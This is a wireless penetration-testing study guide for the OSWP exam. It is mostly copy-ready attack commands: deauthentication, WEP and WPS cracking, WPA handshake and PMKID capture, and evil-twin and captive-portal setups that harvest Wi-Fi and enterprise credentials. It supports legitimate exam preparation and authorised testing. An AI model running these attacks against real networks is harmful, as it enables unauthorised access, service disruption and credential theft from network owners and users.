OSWP PEN-210 : Reference Guide

Wireless Security Study Guide

Introduction

These techniques, commands, and procedures are intended solely for educational purposes and in preparation for the Offensive Security PEN-210 (OSWP) exam. They involve methodologies that can be illegal if misused.

These notes are consolidated from multiple sources and organized by attack flow from initial reconnaissance to advanced wireless attacks on WEP, WPA/WPA2, WPA3, and WPA2-Enterprise networks.

Disclaimer:
All information provided here is intended for educational purposes only. Test these techniques only on networks and systems you own or have explicit permission to test. Unauthorized use may be illegal and punishable by law.

WiFi Hacking MindMap

1. Dependencies & Environment Setup

Bash script to install all the listed tools in this Notes:

Check your Kali (or Linux) version:

cat /etc/os-release
uname -a

2. Basic Tools & Commands

Common Wi-Fi Utilities

ip link show
iwconfig
ifconfig <interface> up
iw dev <interface> scan | grep "SSID:"

# Put interface into monitor mode (airmon-ng)
sudo airmon-ng start wlan0

# Or manually:
sudo ifconfig wlan0 down
sudo iw dev wlan0 set type monitor
sudo ifconfig wlan0 up

# Put interface back to managed mode
sudo airmon-ng stop wlan0mon

# Or manually:
ifconfig mon0 down
iw dev mon0 set type managed
ifconfig mon0 up

# Using macchanger (random MAC)
sudo ifconfig wlan0 down
sudo macchanger -r wlan0
sudo ifconfig wlan0 up

# Using macchanger (specific MAC)
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up

airmon-ng Essentials

# Check for interfering processes
sudo airmon-ng check
sudo airmon-ng check kill

# Start monitor mode on wlan0
sudo airmon-ng start wlan0

# Start monitor mode on a specific channel
sudo airmon-ng start wlan0 <CHANNEL_NUMBER>

# Stop monitor mode
sudo airmon-ng stop wlan0mon

airodump-ng Essentials

# Basic scanning on 2.4 GHz
airodump-ng wlan0mon

# Scan 5 GHz
airodump-ng --band a wlan0mon

# Capture only specific channel & BSSID, write to file
airodump-ng -c <CHANNEL> --bssid <BSSID> -w <OUTPUT_PREFIX> wlan0mon

# With WPS info
airodump-ng --wps wlan0mon

# Read a pcap or cap file
airodump-ng -r <capture.cap>

aireplay-ng Essentials

# Deauthentication attack
aireplay-ng -0 <NUM_DEAUTH> -a <AP_BSSID> [-c <CLIENT_MAC>] wlan0mon

# Fake authentication (WEP/Open networks)
aireplay-ng -1 0 -e <ESSID> -a <AP_BSSID> -h <YOUR_MAC> wlan0mon

# ARP replay attack (WEP)
aireplay-ng -3 -b <AP_BSSID> -h <YOUR_MAC> wlan0mon

# Interactive packet replay
aireplay-ng -2 -b <AP_BSSID> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 wlan0mon

# Chop Chop attack
aireplay-ng -4 -b <AP_BSSID> -h <YOUR_MAC> wlan0mon

# Fragmentation attack
aireplay-ng -5 -b <AP_BSSID> -h <YOUR_MAC> wlan0mon

aircrack-ng Essentials

# Crack WEP (needs sufficient IVs)
aircrack-ng <CAPTURE_FILE>

# Crack WPA/WPA2 handshake with dictionary
aircrack-ng -w <WORDLIST> -b <BSSID> <CAPTURE_FILE>

# Adjust "fudge factor" for WEP
aircrack-ng -f <FACTOR> <CAPTURE_FILE>

Other Aircrack-NG Tools

  • airolib-ng: Manage PMK databases for WPA precomputation

  • airdecap-ng: Decrypt a WEP/WPA/WPA2 traffic capture offline

  • airgraph-ng: Generate relationship graphs (CAPR / CPG) from airodump CSV

# Decrypt capture with known key
airdecap-ng -e <ESSID> -p <PASSWORD> <CAPTURE_FILE>

# Convert cap to hashcat .hccapx
cap2hccapx <CAPTURE_FILE>.cap <OUTPUT>.hccapx

3. Wireless Reconnaissance

Scanning & Channel Hopping

  1. Put interface into monitor mode:

    sudo airmon-ng start wlan0

  2. Scan with airodump-ng:

    sudo airodump-ng wlan0mon --band abg --wps --manufacturer

  3. Focus on a specific channel:

    sudo airodump-ng -c <CHANNEL> --bssid <AP_BSSID> -w <OUTFILE> wlan0mon

  4. Filter by handshake:
    Watch the top-right corner for “WPA handshake” or check with aircrack-ng capture.cap.

Hidden SSIDs

When a network does not broadcast its SSID, you can:

  1. Deauthenticate a client. When it reconnects, the ESSID will appear briefly in the capture.

    aireplay-ng -0 10 -a <BSSID> wlan0mon

  2. Brute force hidden SSIDs with a dictionary of possible names:

    mdk4 wlan0mon p -t <BSSID> -f /path/to/ssid_wordlist.txt

MAC Filtering & MAC Spoofing

If fake authentication fails repeatedly, the AP may be filtering MAC addresses. Use airodump-ng to identify a valid client MAC, wait until it goes offline, then spoof it:

ifconfig wlan0 down
macchanger -m <VALID_CLIENT_MAC> wlan0
ifconfig wlan0 up

4. Open & Captive Portal Attacks

  1. Connect to an Open Wi-Fi:

    iwconfig wlan0 essid "<ESSID>"
dhclient -v wlan0

  2. MAC bypass: If there's a captive portal restricting MAC addresses, impersonate a MAC of an already-authenticated client:

    ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
ifconfig wlan0 up
iwconfig wlan0 essid "<ESSID>"
dhclient -v wlan0

  3. Phishing on captive portal: Tools like wifiphisher, Fluxion, or Airgeddon can create a rogue AP with a captive portal that harvests credentials.

5. WEP Attacks

WEP is deprecated but still tested on OSWP. These are the classic attacks:

ARP Replay Attack (Connected Clients)

  1. Monitor & capture:

    airodump-ng -c <CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon

  2. Fake authentication (optional, if open auth):

    aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon

  3. ARP replay:

    aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> wlan0mon

  4. Deauth (to trigger ARP generation):

    aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon

  5. Crack once enough IVs collected:

    aircrack-ng <CAPTURE_NAME-01.cap>

Interactive Packet Replay

aireplay-ng -2 -b <BSSID> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 wlan0mon
aircrack-ng -z <CAPTURE_NAME.cap>

Fake Authentication

aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon

Useful for some WEP injection attacks that require association.

Deauthentication Attack on WEP

aireplay-ng -0 <COUNT> -a <BSSID> [-c <CLIENT_MAC>] wlan0mon

Forces WEP clients to reconnect, generating ARP packets (which you can replay).

Fragmentation Attack

aireplay-ng -5 -b <BSSID> -h <YOUR_MAC> wlan0mon
packetforge-ng -0 -a <BSSID> -h <YOUR_MAC> \
  -k 255.255.255.255 -l 255.255.255.255 \
  -y <FRAGMENT.xor> \
  -w <ARP_REQUEST>
aireplay-ng -2 -r <ARP_REQUEST> wlan0mon
aircrack-ng <CAPTURE_NAME.cap>

Chop Chop Attack

aireplay-ng -4 -b <BSSID> -h <YOUR_MAC> wlan0mon
packetforge-ng -0 -a <BSSID> -h <YOUR_MAC> \
  -k 255.255.255.255 -l 255.255.255.255 \
  -y <CHOPCHOP.xor> \
  -w <ARP_REQUEST>
aireplay-ng -2 -r <ARP_REQUEST> wlan0mon
aircrack-ng <CAPTURE_NAME.cap>

Bypassing Shared Key Authentication

  1. Deauth a real client & capture the PRGA XOR.

  2. Fake auth using the XOR keystream:

    aireplay-ng -1 60 -e <ESSID> -y <wepshared-PRGA.xor> -a <BSSID> -h <YOUR_MAC> wlan0mon

  3. ARP replay to generate IVs:

    aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> wlan0mon

  4. Crack with aircrack-ng once enough IVs are collected.

6. WPS Attacks

Identifying WPS Networks

wash -i wlan0mon -s

Check the Lck column. If No, WPS might be brute-forced.

Online & Offline (Pixie Dust) Attacks

# Reaver (online brute force)
reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -S

# Reaver (Pixie Dust offline)
reaver -i wlan0mon -b <BSSID> -K -vv

Bully is an alternative with similar options:

bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3

Null PIN & Known PIN Databases

reaver -i wlan0mon -b <BSSID> -p '' -vv

Or use custom PIN lists (e.g., default WPS PINs for certain vendors).

7. WPA/WPA2 Attacks

Handshake Capture & Cracking

  1. Capture:

    airodump-ng -c <CHANNEL> --bssid <BSSID> -w <OUTFILE> wlan0mon
aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon

  2. Verify handshake (top-right corner in airodump-ng or aircrack-ng <OUTFILE>.cap).

  3. Crack with dictionary:

    aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> <OUTFILE>.cap

PMKID (Client-less Attack)

hcxdumptool -i wlan0mon -o pmkid_dump.pcapng --enable_status=1
hcxpcaptool -z pmkid.16800 pmkid_dump.pcapng
hashcat -m 16800 pmkid.16800 /usr/share/wordlists/rockyou.txt

Cracking with aircrack-ng, hashcat, coWPAtty, Pyrit, John

aircrack-ng -w <WORDLIST> -b <BSSID> <CAPTURE.cap>

cap2hccapx <CAPTURE.cap> <OUTPUT>.hccapx
hashcat -m 2500 <OUTPUT>.hccapx /usr/share/wordlists/rockyou.txt
# Or PMKID (16800)
hashcat -m 16800 pmkid.16800 /usr/share/wordlists/rockyou.txt

cowpatty -r <CAPTURE.cap> -f <WORDLIST> -s <SSID>
# Precompute PMK
genpmk -f <WORDLIST> -d <DBfile> -s <SSID>
cowpatty -r <CAPTURE.cap> -d <DBfile> -s <SSID>

pyrit -r <CAPTURE.cap> analyze
pyrit -r <CAPTURE.cap> -b <BSSID> -i <WORDLIST> attack_passthrough

aircrack-ng <CAPTURE.cap> -J out  # produce .hccap
hccap2john out.hccap > out.john
john --wordlist=<WORDLIST> out.john

8. WPA3 & SAE

Offline Brute Force

WPA3 uses SAE (Simultaneous Authentication of Equals) for handshake. If an AP is misconfigured or if it reverts to WPA2-PSK for older clients, you can still capture a handshake or a PMKID.

Offline SAE brute forcing can sometimes be done with tools like hcxdumptool + hashcat (mode 22000).

Downgrade Attacks

If a network supports both WPA2 and WPA3 (transition mode), you can force a downgrade by sending deauth or forging beacons that only advertise WPA2. The client might reconnect with WPA2-PSK, letting you capture a normal 4-way handshake to crack.

9. WPA2-Enterprise (MGT) Attacks

Basic Concepts

  • EAP: Framework used for authentication

  • RADIUS: Usually the backend server handling authentication

  • Common EAP methods: PEAP, EAP-TTLS, EAP-TLS, EAP-MSCHAPv2, EAP-GTC, etc.

  • EAP Identity: Often sent in plaintext (username@domain).

Capturing Usernames & Certificates

  1. Monitor MGT networks:

    airodump-ng -c <CHANNEL> --bssid <BSSID> -w <OUTFILE> wlan0mon

  2. Look for “Response, Identity” with Wireshark filter:

    eap.identity

  3. Certificate capture:

    tshark -r <OUTFILE>.cap -Y "tls.handshake.certificate" -V

    or in Wireshark filter:

    wlan.bssid == <BSSID> && tls.handshake.certificate

Evil Twin (Rogue AP) for WPA-Enterprise

Use hostapd-mana, eaphammer, or berate_ap to create a fake AP with the same SSID & EAP types.

# 1. Generate certificates
./eaphammer --cert-wizard

# 2. Launch rogue AP with EAP capturing:
./eaphammer -i wlan0 --channel <CHANNEL> --auth wpa-eap \
   --essid <MGT_ESSID> --creds

mana_wpe=1
mana_eapsuccess=1
mana_credout=/path/to/credentials.txt

(then hostapd-mana /etc/hostapd-mana/myconfig.conf)

Deauthenticate legit clients so they connect to the rogue AP:

aireplay-ng -0 10 -a <REAL_AP_BSSID> -c <VICTIM_CLIENT_MAC> wlan0mon

EAP & MSCHAPv2 Cracking

When a client connects to your rogue AP using MSCHAPv2 (PEAP-MSCHAPv2, EAP-TTLS/MSCHAPv2), you capture the challenge/response:

asleap -C <CHALLENGE> -R <RESPONSE> -W <WORDLIST>

or

# Format for hashcat 5500
hashcat -m 5500 <EAP_MSCHAPv2_HASH> <WORDLIST>

Relay Attacks (wpa_sycophant)

wpa_sycophant can relay MSCHAPv2 from a victim (connected to your rogue AP) to the real AP, effectively allowing you to join the real network without cracking the password.

  1. Create rogue AP with --wpa-sycophant (in hostapd-mana or berate_ap).

  2. Run wpa_sycophant with a config pointing to the real ESSID.

  3. Deauth the target so it joins your rogue AP. Meanwhile, your wpa_sycophant tries connecting to the real AP with the victim’s credentials.

10. Rogue Access Points & Evil Twin

Open Rogue AP

hostapd (or hostapd-mana) minimal config:

interface=wlan0
driver=nl80211
ssid=FreeWifi
hw_mode=g
channel=6

Start a DHCP server (e.g., dnsmasq) so clients get IP addresses.

WPA/WPA2 Rogue AP

interface=wlan0
driver=nl80211
ssid=FakeCorp
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=AnyPassword

Then:

hostapd rogue.conf

WPA2-Enterprise Rogue AP

Use hostapd-mana or eaphammer with --auth wpa-eap and the right TLS certs.

./eaphammer -i wlan0 --channel 6 --auth wpa-eap \
    --essid corpNet --creds

KARMA / MANA / Loud MANA / Known-Beacons

  • KARMA: Rogue AP responds to directed probe requests from clients for SSIDs in their PNL (Preferred Network List).

  • MANA: Enhanced version of KARMA.

  • Loud MANA: Sends beacons for all SSIDs discovered from clients or from a known wordlist.

  • Known-Beacons: Systematically broadcast beacons for a huge SSID list (like a dictionary) to lure devices that probe those names.

# eaphammer example
./eaphammer -i wlan0 --mana --loud --known-beacons --known-ssids-file <wordlist>

11. Captive Portals & Credential Harvesting

Tools like wifiphisher, Fluxion, Airgeddon can create a captive portal:

  1. Evil Twin or Karma/MANA AP

  2. dnsmasq for DHCP & DNS

  3. Apache or lighttpd to host the phishing page

  4. iptables or nftables to force HTTP traffic to the captive portal

Fluxion & Airgeddon automatically handle:

  • Launching fake AP

  • Deauthing victim

  • Captive portal that asks for WPA passphrase

  • Verification with the captured handshake

12. Miscellaneous Commands

sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'
sudo tail -f /var/log/apache2/access.log

sudo dhclient -v wlan0
sudo ip addr add 192.168.50.1/24 dev wlan0

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Sources & References

Updated on